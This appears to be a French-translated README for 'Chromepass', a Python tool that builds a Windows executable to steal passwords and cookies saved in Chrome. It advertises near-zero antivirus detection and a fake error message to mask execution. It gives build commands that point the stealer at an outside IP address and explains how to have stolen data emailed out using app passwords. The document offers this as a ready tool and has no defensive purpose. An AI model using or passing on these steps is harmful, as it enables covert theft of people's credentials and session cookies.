darkarp/chromepassChromepass - Piratage des mots de passe enregistrés de Chrome
Voir la démo
·
Signaler un bug
·
Demander une fonctionnalité
Chromepass est une application console basée sur Python qui génère un exécutable Windows avec les fonctionnalités suivantes :
La nouvelle méthodologie de construction du client garantit pratiquement un taux de détection de 0 %, même sans tactiques d'évasion antivirale. Si cela devenait faux à l'avenir, certaines méthodes seront mises en œuvre pour améliorer l'évasion antivirale.
Un exemple des derniers scans (note : en 10 à 12 heures, nous passons de 0 à 2 détections à 32 détections, alors effectuez l'analyse sur vos propres constructions) :
Il s'agit d'une application très simple, qui utilise uniquement :
Il est recommandé d'effectuer l'installation dans une machine virtuelle Windows. Certaines parties de la procédure d'installation pourraient être affectées par des configurations existantes. Cela a été testé sur une machine virtuelle Windows 10 propre.
Chromepass nécessite Windows pour compiler ! Le support de Linux et macOS pourrait être ajouté prochainement.
git clone https://github.com/darkarp/chromepass
Note : Alternativement au clonage du dépôt, vous pouvez télécharger la dernière version, car le dépôt peut être plus sujet aux bugs.
Les dépendances sont vérifiées et installées automatiquement, vous pouvez donc passer directement à Utilisation. Il est recommandé d'utiliser une machine virtuelle propre pour éviter tout conflit. Si vous n'avez pas les dépendances et que votre connexion internet n'est pas rapide, cela prendra du temps. Allez vous chercher un café.
Chromepass est très simple. Commencez par exécuter :
python create.py -h
Une liste d'options apparaîtra et est explicite.
L'exécution sans paramètres construira le serveur et le client se connectant à 127.0.0.1.
Un exemple simple d'une construction :
python create.py --ip 92.34.11.220 --error --message 'An Error has happened'
Après avoir créé le serveur et le client, assurez-vous d'exécuter le serveur lorsque le client est exécuté.
Les cookies et mots de passe seront enregistrés dans des fichiers json dans un nouveau dossier nommé data dans le même répertoire que le serveur, séparés par adresse IP.
Chromepass prend en charge l'envoi des fichiers par email, bien que cela soit encore expérimental.
Pour activer cela, vous pouvez utiliser l'indicateur --email lors de la création du serveur. Vous aurez besoin de deux choses : un nom d'utilisateur (votre email) et un mot de passe (un mot de passe d'application).
Pour générer un mot de passe d'application, vous devez aller dans vos paramètres de compte -> Sécurité et activer l'authentification en deux étapes (obligatoire !)
Après avoir activé l'authentification en deux étapes, vous verrez une nouvelle option appelée Mots de passe d'application :
Vous devez cliquer là-bas, puis choisir les options appropriées, puis générer un mot de passe :
Après avoir cliqué sur Générer, il vous donnera le mot de passe nécessaire.
Vous pouvez utiliser le nom d'utilisateur et le mot de passe directement dans la commande ou simplement les placer dans le fichier config.ini, là où il est écrit YOUR_USERNAME et YOUR_PASSWORD.
python create.py --error --message 'An Error has happened' --email --username [email protected] --password qwertyuiopasdfghh
python create.py --error --message 'An Error has happened' --email